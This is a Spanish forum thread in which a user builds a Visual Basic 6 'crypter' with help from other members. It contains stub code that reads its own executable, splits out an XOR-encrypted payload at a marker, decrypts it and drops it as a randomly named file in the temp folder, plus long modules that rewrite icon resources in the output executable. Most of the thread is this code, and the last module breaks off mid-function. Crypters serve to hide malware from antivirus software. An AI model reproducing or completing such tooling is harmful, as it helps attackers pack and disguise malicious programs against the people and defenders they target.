muy wenas,como dice el post,estoy creando mi propio cripter o por lo menos lo intento.
como base estoy siguiendo un tutorial programando-un-crypter-en-visual-basic-6 supongo que
+ de 1 lo abra visto,aun que sea de refilon.
bueno he seguido el manual al pie de la letra y he probado y no funca,he intentado corregirlo
y no doy pata con bolo,por lo visto o ago algo mal o el tuto no lo comprobaron antes de lanzarlo.
el caso es que decidi pasarlo a limpio creando lo desde 0 y comprobando funcion por funcion y ya por
ultimo terminar codeando el front_load y asin decir por que funcion empieza y por donde y tenerlo todo
el codigo ordenado y como el stub es lo + importante empezare por hay.
la 1º funcion que estoy comprobando es:
1. Copiar el archivo en el que se esta ejecutando el Stub a un archivo temporal con formato "dat".
lo he probado y ba estupendo,asin que pase a la 2º:
2. Abrimos de forma binaria el fichero .dat y buscamos el comienzo de bits cifrados.
3. Leemos desde el principio de bits cifrados hasta su final.
4. Almacenamos los bits cifrado en una variable
5. desciframos los bits de la variable, los bits descifrados se reemplazaran a los bits cifrados de dicha variable.
Private Function LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
'Declaramos el array ContDividido
Dim ContDividido() As String
'Si hya error saltamos a la etiquero "Fallo"
On Error GoTo Fallo
'Abrimos el arcihvo DAT de forma binaria
Open ArchivoTemp For Binary Access Read As #1
'Almacenamos en "Contenido" los bits del stub y del fichero original
Get #1, , Contenido
'Cerramos el archivo
Close #1
'Separamos la variable Contenido en dos, segun la marca |CodeMakers|
'y almacenamos cada parte en el array ContDividido
ContDividido = Split(Contenido, "|CodeMakers|")
'Reeplazamos el actual dato de la variable Contenido por los bits del _
fichero original que se encuentran cifrados
Contenido = ContDividido(1)
'Ahora desciframos los bits con la funcion t
Contenido = t(Contenido)
'Ya tenemos en la variable global "conenido" los bits descifrados _
asique ahora devolvemos true a la funcion y temrinamos la funcion
LeerlosAlmacenarlos = True
'Escribimos la etiqueta Fallo
Fallo:
LeerlosAlmacenarlos = False
Exit Function
Exit Function
End Function
'Ahora, como si fueran ramificaciones en una red conceptual estamos viendo otra funcion. La funcion "t" que lo que hace es descifrar y cifrar los bits. con la funcion Xor, pasandolos por el numero 9:
Function t(C)
On Error Resume Next
For i = 1 To Len(C)
t = t & Chr(Asc(Mid(C, i, 1)) Xor 27)
Next i
End Function
[code]
bueno siguiendo lo que dice,abrimos el archivo binario que seria el stub con un nombre aleatorio 3892.dat por ejemplo.
y el dice: Almacenamos en "Contenido" los bits del stub y del fichero original
lo que almaceno en contenido es solo el stub no?
despues dice que parte contenido en 2,el estub lo parte en 2? y coje la 2º parte.?
el dice:y almacenamos cada parte en el array ContDividido
y como puedo saber si los datos se han guardado en una variable o no?
un salu2 y gracias
trata imprimiendo la variable Contenido y ve la info que trae dentro, ve si es la que buscas....
bueno no tengo impresora,pero puedo meterlo en un exe,lo unico que solo se copia en temp,pero la 2º funcion no me la hace,ni me crea el exe.
'Declaracion globar que almacena la ruta completa del _
fiochero DAT
Dim FicheroDAT As String
Dim conenido As String
Private Sub Form_Load()
'Llamamos a la funcion CopiarParaLeer que nos copia a un _
fichero .dat
SiError1 = CopiarParaLeer(App.Path & "\" & App.EXEName & ".exe")
If SiError1 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName
'Llamamos a la funcion que lee y almacena los bits cifrado _
en una variable y los desciframos.
SiError2 = LeerlosAlmacenarlos(FicheroDAT)
If SiError2 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName
End Sub
Private Function CopiarParaLeer(MiRuta As String) As Boolean
Dim z
Dim t As Integer
Dim i As Integer
Dim FSO As Object
'Si se produce algun error salta a la etiqueta "NoCopio"
'creo el objeto
Set FSO = CreateObject("Scripting.FileSystemObject")
'Activamos randomize para que VB sepa que vamos a crear una _
funcion que corresponde al "azar"
Randomize
'La variable "z" va a contener un nombre al azar para _
la copia, dicho nombre tendra 5 numeros:
For i = 1 To 5
't va a tener un numero al azar del 0 al 9
t = Int(Rnd * 9)
z = z & t
Next i
MsgBox "copiando archivo dat"
'Nos copiamos al directorio temporal con un nombre aleatorio.
FileCopy MiRuta, FSO.GetSpecialFolder(2) & "\" & z & ".dat"
'Si todo anduvo bien (porque llegamos a esta linea) _
debovemos true y almacenamos el fichero DAT en variable
CopiarParaLeer = True
FicheroDAT = FSO.GetSpecialFolder(2) & "\" & z & ".dat"
'Escribimos la etiqeta NoCopio
NoCopio:
CopiarParaLeer = False
End Function
Private Function LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
'Declaramos el array ContDividido
Dim ContDividido() As String
Dim binario As Integer
'Si hya error saltamos a la etiquero "Fallo"
'Abrimos el arcihvo DAT de forma binaria
Open ArchivoTemp For Binary Access Read As #1
'Almacenamos en "Contenido" los bits del stub y del fichero original
Get #1, , Contenido
MsgBox "contenido"
'Cerramos el archivo
Close #1
binario = FreeFile
Open "C:\prueba.exe" For Output As #binario
Print #binario, Contenido
Close #binario
End Function
[code]
bueno le kite lo del error para que saliera pero no sale na y tampoco me crea el archivo en c.
p.d: el declara LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
y despues lo abre en binario,pero como sabe que es el archivo 49857.dat y no 19826.dat?,bamos como sabe cual es.
Cita de: mojolloyo20 en 6 Septiembre 2009, 02:40 AM
bueno no tengo impresora
Se refiere a mostrarla en un MessageBox no a imprimirla en papel :xD
Cita de: YST en 6 Septiembre 2009, 07:19 AM
Cita de: mojolloyo20 en 6 Septiembre 2009, 02:40 AM
bueno no tengo impresora
Se refiere a mostrarla en un MessageBox no a imprimirla en papel :xD
LOL
Debug.Print ":-X"
:-X
Antes de hacer esto asegurate de tener la ventana de Inmediato visible... ([CTRL] + [G])
bueno me duele ya la chorla de tanto pensar.
al imprimir crei que se referia a imprimir por impresora jajaj.
lo intente con el codigo anterior,aun que le aregle lo del msgbox.
pero no me crea el exe. ni me da error ni nada,asin que hice lo siguiente.
no se mucho de vb aunque me defiendo,no keria hacer el front hasta el final como
siempre,pero he de ponerlo para ejecutar las funciones y no lo logro con call.
----------------------------------------------------
dicho esto no se si el msgbox lo hice bien,si ponemos este codigo nos copiaremos en temp con nombre aleatorio,pero luego no salta el 2º msgbox:MsgBox " abriendo archivo dat" ect ect.
asin que dejo el archivo en temp como si ya huvieramos hecho la 1º funcion de copiarnos y al codigo le kito esto en el front
SiError1 = CopiarParaLeer(App.Path & "\" & App.EXEName & ".exe")
If SiError1 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName
y lo compilo y tal y me dice : abriendo archivo data el msgbox y luego path/file acess error, como que no encuentra o no puede abrirlo.
el error lo encontre en Open ArchivoTemp For Binary Access Read As #1
yo nunca he copiado un archivo con GetSpecialFolder y menos aleatorio,si dejara el nombre fijo sabria mas o menos que hacer,pero estoy atascao.
el declara LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
el programa como sabe que ArchivoTemp es 39583.dat por ejemplo,si no tiene ninguna ruta pasada ni na? solo la declara he intenta abrirlo no?
y amigo Karcrack,como ago eso? la ventana siempre esta visible la del front
un salu2 y gracias por contestar.
'Declaracion globar que almacena la ruta completa del _
fiochero DAT
Dim FicheroDAT As String
'Declaracion global que almacena la ruta completa del _
fichero Ejecutable.
Dim conenido As String
'Declaracion global que almacena los bits descifrados
'Cuando se ejecute el fichero.
Private Sub Form_Load()
'Llamamos a la funcion CopiarParaLeer que nos copia a un _
fichero .dat
SiError1 = CopiarParaLeer(App.Path & "\" & App.EXEName & ".exe")
If SiError1 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName
'Llamamos a la funcion que lee y almacena los bits cifrado _
en una variable y los desciframos.
SiError2 = LeerlosAlmacenarlos(FicheroDAT)
If SiError2 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName
End Sub
Private Function CopiarParaLeer(MiRuta As String) As Boolean
Dim z
Dim t As Integer
Dim i As Integer
Dim FSO As Object
'Si se produce algun error salta a la etiqueta "NoCopio"
'creo el objeto
Set FSO = CreateObject("Scripting.FileSystemObject")
'Activamos randomize para que VB sepa que vamos a crear una _
funcion que corresponde al "azar"
Randomize
'La variable "z" va a contener un nombre al azar para _
la copia, dicho nombre tendra 5 numeros:
For i = 1 To 5
't va a tener un numero al azar del 0 al 9
t = Int(Rnd * 9)
z = z & t
Next i
MsgBox "copiando archivo dat"
'Nos copiamos al directorio temporal con un nombre aleatorio.
FileCopy MiRuta, FSO.GetSpecialFolder(2) & "\" & z & ".dat"
'Si todo anduvo bien (porque llegamos a esta linea) _
debovemos true y almacenamos el fichero DAT en variable
FicheroDAT = FSO.GetSpecialFolder(2) & "\" & z & ".dat"
CopiarParaLeer = True
'Escribimos la etiqeta NoCopio
NoCopio:
CopiarParaLeer = False
End Function
Private Function LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
'Declaramos el array ContDividido
Dim ContDividido() As String
'Si hya error saltamos a la etiquero "Fallo"
MsgBox " abriendo archivo dat"
'Abrimos el arcihvo DAT de forma binaria
Open ArchivoTemp For Binary Access Read As #1
'Almacenamos en "Contenido" los bits del stub y del fichero original
Get #1, , Contenido
'Cerramos el archivo
Close #1
MsgBox contenido, vbInformation
End Function
[code]
bueno amigos ya toy aki de new,como el manual ese era una m....,decidi hacerlo desde 0 y fuy estudiando unos codigos.
bueno yo creo que hasta ahora ba bien el programita,he conseguido bastante.el problema me surje a la hora de copiarme al disco duro.
para copiarme en la carpeta tem como la mayoria de estos programas en vez usar fso decidi intentar con environ,con muy buenos resultados,luego como no savia que nombre ponerle al archivo temporal,intente hacer un randomize rnd.
y aki es donde bienen los problemas,la 1º vez fue perfecto 66547.exe por ejemplo,lo borre y lo intente de nuevo,pero intentando abrir y vaciar el archivo.y mi sorpresa fue:
run time overflow (6)
desde entonces no logro que se copie en temp con randomize.
esta es la funcion:
aver...
Randomize
For i = 1 To 10 'el archivo tendra de lonjitud unos 10 numerito 5962483791.exe
x=int((9*rnd)) 'los numeritos iran del 0 al 9
+=+ & x ' + sera = asimismo y x
filecopy ruta1,ruta2 & "\" & + & "exe" ' sin comentarios
decir que las rutas ya las tengo bien declaradas y no se que puede fallar.
y despues tengo otra duda que estuve lellendo pero no logre sacar mucho en claro
una vez que el randomize funcione bien,como pasar esos numeros a letras? para en vez de ser 5962483791.exe sea algo asin kfyrtemifh.exe.
algo asin?
Randomize
For i = 1 To 10 'el archivo tendra de lonjitud unos 10 numerito 5962483791.exe
x=int((9*rnd)) 'los numeritos iran del 0 al 9
g=Chr(x)
+=+ & x ' + sera = asimismo y x
filecopy ruta1,ruta2 & "\" & + & "exe" ' sin comentarios
pero aki metira el siguiente error:
run time error "13" type mismatch
y bueno decir que intente imprimir la variable despues de desencriptarla y en el msgbox me salia mzp o algo asin,cuando yo crei que deberia salir algo asin 00026030580.
uso:
msgbox (variabledesencriptada)
y es cuando me sale el msgbox con lo de mzp,pienso que me estaria enseñando la cabezera.
un salu2
Cita de: mojolloyo20 en 31 Octubre 2009, 00:53 AM
+=+ & x ' + sera = asimismo y x
filecopy ruta1,ruta2 & "\" & + & "exe" ' sin comentarios
tres concatenadores? & y + y de nuevo & .....
;D si 3 &
filecopy ruta1,ruta2 & "\" & + & "exe"
nos copiamos desde la ruta 1 a la ruta 2 separo co &"\"& el signo + es la variable que contendra el nombre bamos los numeritos y luego la extension.
supongo que a eso te referias no?
un salu2
Cita de: mojolloyo20 en 31 Octubre 2009, 03:21 AM
;D si 3 &
filecopy ruta1,ruta2 & "\" & + & "exe"
nos copiamos desde la ruta 1 a la ruta 2 separo co &"\"& el signo + es la variable que contendra el nombre bamos los numeritos y luego la extension.
supongo que a eso te referias no?
un salu2
Cambiale el nombre a la variable :xD Que el + tambien sirve para concatenar ;)
Cita de: YST en 31 Octubre 2009, 03:22 AM
Cambiale el nombre a la variable :xD Que el + tambien sirve para concatenar ;)
si eso decia.
;D jajaja aveces parece que ablais chino y tengo que andar intentando traducir.
bueno lo del signo + es que fue una variable a bolea y meti un poco la ganba,pero era mas para que se entendiera el code.
bueno tasteando un poco he logrado que de cada 5 veces me falle unas 2,creo que el problema era de la pc,bamos del win.le pase un programa de utilidades para memoria y registro y parece que anda mejorcito,aun que aveces tira el p... overflow.
ya consegui que se copie en temp y se vacie,pero la siguiente instruccion me ta dando problemas,a la hora de meter la variable descifrada.
bueno voy a seguir manipulando el codigo aver si logro terminar la 1º version.
un salu2 y gracias
bueno ya estoy aki de nuevo,el programa parecia facilito,pero me esta dando muchos dolores de cabeza.
no hay quien entienda los pcs,bueno explico:
cree el cliente que es = a cripter.exe y el ayudante = stub,empezando por el cliente lo que hace es:
cojer el ayudante y lo mete en una variable y con el archivo a cifrar hace = lo mete en variable y lo cifra.
luego lo guardo el exe con el comondialogo y luego lo abro en binario e inserto las variables y las marcas.
y al final me crea el exe muy bien,con todos los datos y las marcas.
uso:
para leer y guardar en variable esta sintesis.
Open direccion del stub For Binary As #1 'Abrimos el Stub Binariamente!
stub = Space(LOF(1)) 'Obtenemos todos los datos del mismo
Get #1, , stub
Close #1 'Cerramos el Archivo
y ago lo mismo con el archivo a cifrar y lo cifro.
y para meter la variables en el nuevo exe ago esto:
Open CD.FileName For Binary As #1 'Abrimos un Archivo binario k selecciono el usuario anteriormente!
Put #1, , stub & "marca" & archivoencriptado & "marca"
Close #1 ' Cerramos el Archivo!
bueno en el stub me ba todo bien:
se abre a si mismo y coje sus datos y lo mete en una variable.
con Split separo al estub y al archivoencriptado buscando las marcas.
descifro la variable que contiene el archivo cifrado.
con mucho esfuerzo se copia en temp numericamente a bolea 18493.exe
despues vacio 18493.exe que esta en temp. de esta forma:
Open ruta del 18493.exe For Output As #1 'nos abrimos en binario
Print #1, ""
Close #1
y hasta aki todo bien,el problema esta,cuando vuelvo a abrir el archivo 18493.exe he insertarle la variable ya sedescriptada.
me saltan los msgbox pero no hace nada el archivo sigue vacio.
rutina que uso:
Open ruta del 18493.exe For Binary As #1
Put #1, , archivodesencriptado
Close #1
pero ya digo no guarda nada,ya probe si la variable archivodesencriptado contenia datos monstrndolo por un msgbox y si tiene.
tanbein he probado con:
open ruta del 18493.exe for binary access write#1
put#1,,archivodesencriptado
close #1
y tampoco,y ya no se que hacer,no se por que puedo en el cliente meter datos con for binary #1 y put y en el stub no lo hace.
e incluso probe con otros comando como oupt imput read ect aun que sean para leeer y tal pero por probar. y nada de resultados.
que opinan ustedes?
un salu2 y gracias.
bueno el crypter ba biento en popa y a to vela.
lo que pasa es que me atasque otra vez y ahora en lo del icono,he encontrado 2 modulos IconChanger y PE (supuestamente para canbiar el icono al exe final)
el caso es que no doy con el clavo,esto son los modulos:
IconChanger:
Option Explicit
Type DIB_HEADER
Size As Long
Width As Long
Height As Long
Planes As Integer
Bitcount As Integer
Reserved As Long
ImageSize As Long
End Type
Type ICON_DIR_ENTRY
bWidth As Byte
bHeight As Byte
bColorCount As Byte
bReserved As Byte
wPlanes As Integer
wBitCount As Integer
dwBytesInRes As Long
dwImageOffset As Long
End Type
Type ICON_DIR
Reserved As Integer
Type As Integer
Count As Integer
End Type
Type DIB_BITS
Bits() As Byte
End Type
Public Enum Errors
FILE_CREATE_FAILED = 1000
FILE_READ_FAILED
INVALID_PE_SIGNATURE
INVALID_ICO
NO_RESOURCE_TREE
NO_ICON_BRANCH
CANT_HACK_HEADERS
End Enum
Public Function ReplaceIcons(Source As String, Dest As String, Error As String) As Long
Dim IcoDir As ICON_DIR
Dim IcoDirEntry As ICON_DIR_ENTRY
Dim tBits As DIB_BITS
Dim Icons() As IconDescriptor
Dim lngRet As Long
Dim BytesRead As Long
Dim hSource As Long
Dim hDest As Long
Dim ResTree As Long
hSource = CreateFile(Source, ByVal &H80000000, 0, ByVal 0&, 3, 0, ByVal 0)
If hSource >= 0 Then
If Valid_ICO(hSource) Then
SetFilePointer hSource, 0, 0, 0
ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0&
ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0&
SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0
ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte
ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0&
CloseHandle hSource
hDest = CreateFile(Dest, ByVal (&H80000000 Or &H40000000), 0, ByVal 0&, 3, 0, ByVal 0)
If hDest >= 0 Then
If Valid_PE(hDest) Then
ResTree = GetResTreeOffset(hDest)
If ResTree > 308 Then ' Sanity check
lngRet = GetIconOffsets(hDest, ResTree, Icons)
SetFilePointer hDest, Icons(1).Offset, 0, 0
WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0&
If Not HackDirectories(hDest, ResTree, Icons(1).Offset, IcoDirEntry) Then
eRR.Raise CANT_HACK_HEADERS, App.EXEName, "Unable to modify directories in target executable. File may not contain any icon resources."
End If
Else
eRR.Raise NO_RESOURCE_TREE, App.EXEName, Dest & " does not contain a valid resource tree. File may be corrupt."
CloseHandle hDest
End If
Else
eRR.Raise INVALID_PE_SIGNATURE, App.EXEName, Dest & " is not a valid Win32 executable."
CloseHandle hDest
End If
CloseHandle hDest
Else
eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Dest & ". Make sure file is not in use by another program."
End If
Else
eRR.Raise INVALID_ICO, App.EXEName, Source & " is not a valid icon resource file."
CloseHandle hSource
End If
Else
eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Source & ". Make sure file is not in use by another program."
End If
ReplaceIcons = 0
Exit Function
ErrHandler:
ReplaceIcons = eRR.Number
Error = eRR.Description
End Function
Public Function Valid_ICO(hFile As Long) As Boolean
Dim tDir As ICON_DIR
Dim BytesRead As Long
If (hFile > 0) Then
ReadFile hFile, tDir, Len(tDir), BytesRead, ByVal 0&
If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count > 0) Then
Valid_ICO = True
Else
Valid_ICO = False
End If
Else
Valid_ICO = False
End If
End Function
pe
Option Explicit
Public Type IMAGE_DOS_HEADER
Magic As Integer
cblp As Integer
cp As Integer
crlc As Integer
cparhdr As Integer
minalloc As Integer
maxalloc As Integer
ss As Integer
sp As Integer
csum As Integer
ip As Integer
cs As Integer
lfarlc As Integer
ovno As Integer
res(3) As Integer
oemid As Integer
oeminfo As Integer
res2(9) As Integer
lfanew As Long
End Type
Public Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOtionalHeader As Integer
Characteristics As Integer
End Type
Public Type IMAGE_DATA_DIRECTORY
DataRVA As Long
DataSize As Long
End Type
Public Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkVer As Byte
MinorLinkVer As Byte
CodeSize As Long
InitDataSize As Long
unInitDataSize As Long
EntryPoint As Long
CodeBase As Long
DataBase As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOSVer As Integer
MinorOSVer As Integer
MajorImageVer As Integer
MinorImageVer As Integer
MajorSSVer As Integer
MinorSSVer As Integer
Win32Ver As Long
ImageSize As Long
HeaderSize As Long
Checksum As Long
Subsystem As Integer
DLLChars As Integer
StackRes As Long
StackCommit As Long
HeapReserve As Long
HeapCommit As Long
LoaderFlags As Long
RVAsAndSizes As Long
DataEntries(15) As IMAGE_DATA_DIRECTORY
End Type
Public Type IMAGE_SECTION_HEADER
SectionName(7) As Byte
Address As Long
VirtualAddress As Long
SizeOfData As Long
PData As Long
PReloc As Long
PLineNums As Long
RelocCount As Integer
LineCount As Integer
Characteristics As Long
End Type
Type IMAGE_RESOURCE_DIR
Characteristics As Long
TimeStamp As Long
MajorVersion As Integer
MinorVersion As Integer
NamedEntries As Integer
IDEntries As Integer
End Type
Type RESOURCE_DIR_ENTRY
Name As Long
Offset As Long
End Type
Type RESOURCE_DATA_ENTRY
Offset As Long
Size As Long
CodePage As Long
Reserved As Long
End Type
Public Type IconDescriptor
ID As Long
Offset As Long
Size As Long
End Type
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Public Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private SectionAlignment As Long
Private FileAlignment As Long
Private ResSectionRVA As Long
Private ResSectionOffset As Long
Public Function Valid_PE(hFile As Long) As Boolean
Dim Buffer(12) As Byte
Dim lngBytesRead As Long
Dim tDosHeader As IMAGE_DOS_HEADER
If (hFile > 0) Then
ReadFile hFile, tDosHeader, ByVal Len(tDosHeader), lngBytesRead, ByVal 0&
CopyMemory Buffer(0), tDosHeader.Magic, 2
If (Chr(Buffer(0)) & Chr(Buffer(1)) = "MZ") Then
SetFilePointer hFile, tDosHeader.lfanew, 0, 0
ReadFile hFile, Buffer(0), 4, lngBytesRead, ByVal 0&
If (Chr(Buffer(0)) = "P") And (Chr(Buffer(1)) = "E") And (Buffer(2) = 0) And (Buffer(3) = 0) Then
Valid_PE = True
Exit Function
End If
End If
End If
Valid_PE = False
End Function
Public Function GetResTreeOffset(hFile As Long) As Long
On Error GoTo ErrHandler:
Dim tDos As IMAGE_DOS_HEADER
Dim tFile As IMAGE_FILE_HEADER
Dim tOptional As IMAGE_OPTIONAL_HEADER
Dim tSections() As IMAGE_SECTION_HEADER
Dim BytesRead As Long
Dim intC As Integer
Dim TreeFound As Boolean
TreeFound = False
If (hFile > 0) Then
SetFilePointer hFile, 0, 0, 0
' Get the offset of the Image File Header
ReadFile hFile, tDos, Len(tDos), BytesRead, ByVal 0&
SetFilePointer hFile, ByVal tDos.lfanew + 4, 0, 0
' Get the Image File Header and the Image Optional Header
ReadFile hFile, tFile, Len(tFile), BytesRead, ByVal 0&
ReadFile hFile, tOptional, Len(tOptional), BytesRead, ByVal 0&
' Get section headers
ReDim tSections(tFile.NumberOfSections - 1) As IMAGE_SECTION_HEADER
ReadFile hFile, tSections(0), Len(tSections(0)) * tFile.NumberOfSections, BytesRead, ByVal 0&
' Make sure there is a resource tree in this file
If (tOptional.DataEntries(2).DataSize) Then
' Save section alignment and file alignment of image
SectionAlignment = tOptional.SectionAlignment
FileAlignment = tOptional.FileAlignment
' Determine which section contains the resource tree
For intC = 0 To UBound(tSections)
If (tSections(intC).VirtualAddress <= tOptional.DataEntries(2).DataRVA) _
And ((tSections(intC).VirtualAddress + tSections(intC).SizeOfData) > tOptional.DataEntries(2).DataRVA) Then
TreeFound = True
' Save RVA and offset of resource section for future calculations
ResSectionRVA = tSections(intC).VirtualAddress
ResSectionOffset = tSections(intC).PData
' Calculate the physical file offset of the resouce tree
GetResTreeOffset = tSections(intC).PData + (tOptional.DataEntries(2).DataRVA - tSections(intC).VirtualAddress)
Exit For
End If
Next intC
If Not TreeFound Then
GetResTreeOffset = -1
End If
Else
GetResTreeOffset = -1
End If
Else
GetResTreeOffset = -1
End If
Exit Function
ErrHandler:
MsgBox "An error occurred while locating the resource tree. " _
& " Please make sure neither of the specified files are in use.", vbOKOnly + vbExclamation, _
App.EXEName & " - " & eRR.Description
End Function
Public Function GetIconOffsets(hFile As Long, TreeOffset As Long, Icons() As IconDescriptor) As Long
On Error GoTo ErrHandler:
Dim Root As IMAGE_RESOURCE_DIR ' Root node of resource tree
Dim L1Entries() As RESOURCE_DIR_ENTRY ' 1st level of directory entries
Dim L2Root() As IMAGE_RESOURCE_DIR ' Level 2 resource directories
Dim L2Entries() As RESOURCE_DIR_ENTRY ' 2nd level of directory entries
Dim L3Root() As IMAGE_RESOURCE_DIR ' Level 3 resource directories
Dim L3Entries() As RESOURCE_DIR_ENTRY ' 3rd level of directory entries
Dim DataEntries() As RESOURCE_DATA_ENTRY ' Resource data entries
Dim DIB As DIB_HEADER ' Descriptor for icon images
Dim iLvl1 As Integer ' Loop Counter (first level)
Dim iLvl2 As Integer ' Loop Counter (second level)
Dim iLvl3 As Integer ' Loop Counter (third level)
Dim Cursor As Long ' Temp val for setting file pointer
Dim BytesRead As Long ' For ReadFile()
Dim Count As Integer ' Number of icons found
If (hFile > 0) Then
Count = 0
SetFilePointer hFile, ByVal TreeOffset, 0, 0
' Get the root node and begin navigating the resource tree
ReadFile hFile, Root, Len(Root), BytesRead, ByVal 0
ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR
ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY
' Get first level child nodes
For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries)
SetFilePointer hFile, TreeOffset + 8 + (iLvl1 * 8), 0, 0
ReadFile hFile, L1Entries(iLvl1), 8, BytesRead, ByVal 0&
If L1Entries(iLvl1).Name = 3 Then
' Jump to level 2 and get directory
' Strip high-order byte from offset
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hFile, ByVal Cursor, 0, 0
ReadFile hFile, L2Root(iLvl1), 16, BytesRead, ByVal 0&
ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR
ReDim L2Entries(L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries) As RESOURCE_DIR_ENTRY
For iLvl2 = 1 To (L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries)
' Read second level child nodes
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hFile, Cursor + 8 + (iLvl2 * 8), 0, 0
ReadFile hFile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&
' Jump to level 3 and get directory
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hFile, ByVal Cursor, 0, 0
ReadFile hFile, L3Root(iLvl2), 16, BytesRead, ByVal 0&
ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY
ReDim DataEntries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DATA_ENTRY
For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)
' Read third level child nodes
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hFile, (Cursor + 8 + (iLvl3 * 8)), 0, 0
ReadFile hFile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&
' Jump to IMAGE_DATA_ENTRY and get RVA of IconDir structure
SetFilePointer hFile, TreeOffset + (L3Entries(iLvl3).Offset), 0, 0
ReadFile hFile, DataEntries(iLvl3), 16, BytesRead, ByVal 0&
' Convert RVA of IconDir structure to file offset and store
Count = Count + 1
ReDim Preserve Icons(Count) As IconDescriptor
Icons(Count).Offset = RVA_to_Offset(DataEntries(iLvl3).Offset)
' Store ID of icon resource
Icons(Count).ID = L2Entries(iLvl2).Name
' Store Size of icon resource
SetFilePointer hFile, Icons(Count).Offset, 0, 0
ReadFile hFile, DIB, ByVal Len(DIB), BytesRead, ByVal 0&
Icons(Count).Size = DIB.ImageSize + 40
Next iLvl3
Next iLvl2
End If
Next iLvl1
Else
Count = 0
End If
' Return the number of icons found
GetIconOffsets = Count
Exit Function
ErrHandler:
MsgBox "An error occurred while locating the icon resources. " _
& " Please make sure neither of the specified files are in use.", vbOKOnly + vbExclamation, _
App.EXEName & " - " & eRR.Description
End Function
Public Function HackDirectories(hFile As Long, ResTree As Long, DIBOffset As Long, _
DIBAttrib As ICON_DIR_ENTRY) As Boolean
On Error GoTo ErrHandler:
Dim Cursor As Long ' File pointer position
Dim Root As IMAGE_RESOURCE_DIR ' Root node of res tree
Dim L1Entries() As RESOURCE_DIR_ENTRY ' First-level child nodes
Dim L2Root() As IMAGE_RESOURCE_DIR ' Second-level root nodes
Dim L2Entries() As RESOURCE_DIR_ENTRY ' Second-level child nodes
Dim L3Root() As IMAGE_RESOURCE_DIR ' Third-level root nodes
Dim L3Entries() As RESOURCE_DIR_ENTRY ' Third-level child nodes
Dim DataEntries() As RESOURCE_DATA_ENTRY ' IMAGE_RESOURCE_DATA_ENTRY structs
Dim IcoDir As ICON_DIR ' IconDirectory in EXE
Dim iLvl1 As Integer ' Loop Counter (first level)
Dim iLvl2 As Integer ' Loop Counter (second level)
Dim iLvl3 As Integer ' Loop Counter (third level)
Dim intC As Integer ' Loop Counter (general)
Dim BytesRead As Long ' Returned by Read/WriteFile API's
If (hFile >= 0) Then
' Convert DIBOffset to an RVA (needed for RESOURCE_DATA_ENTRY structures)
DIBOffset = Offset_to_RVA(DIBOffset)
SetFilePointer hFile, ByVal ResTree, 0, 0
ReadFile hFile, Root, Len(Root), BytesRead, ByVal 0&
ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY
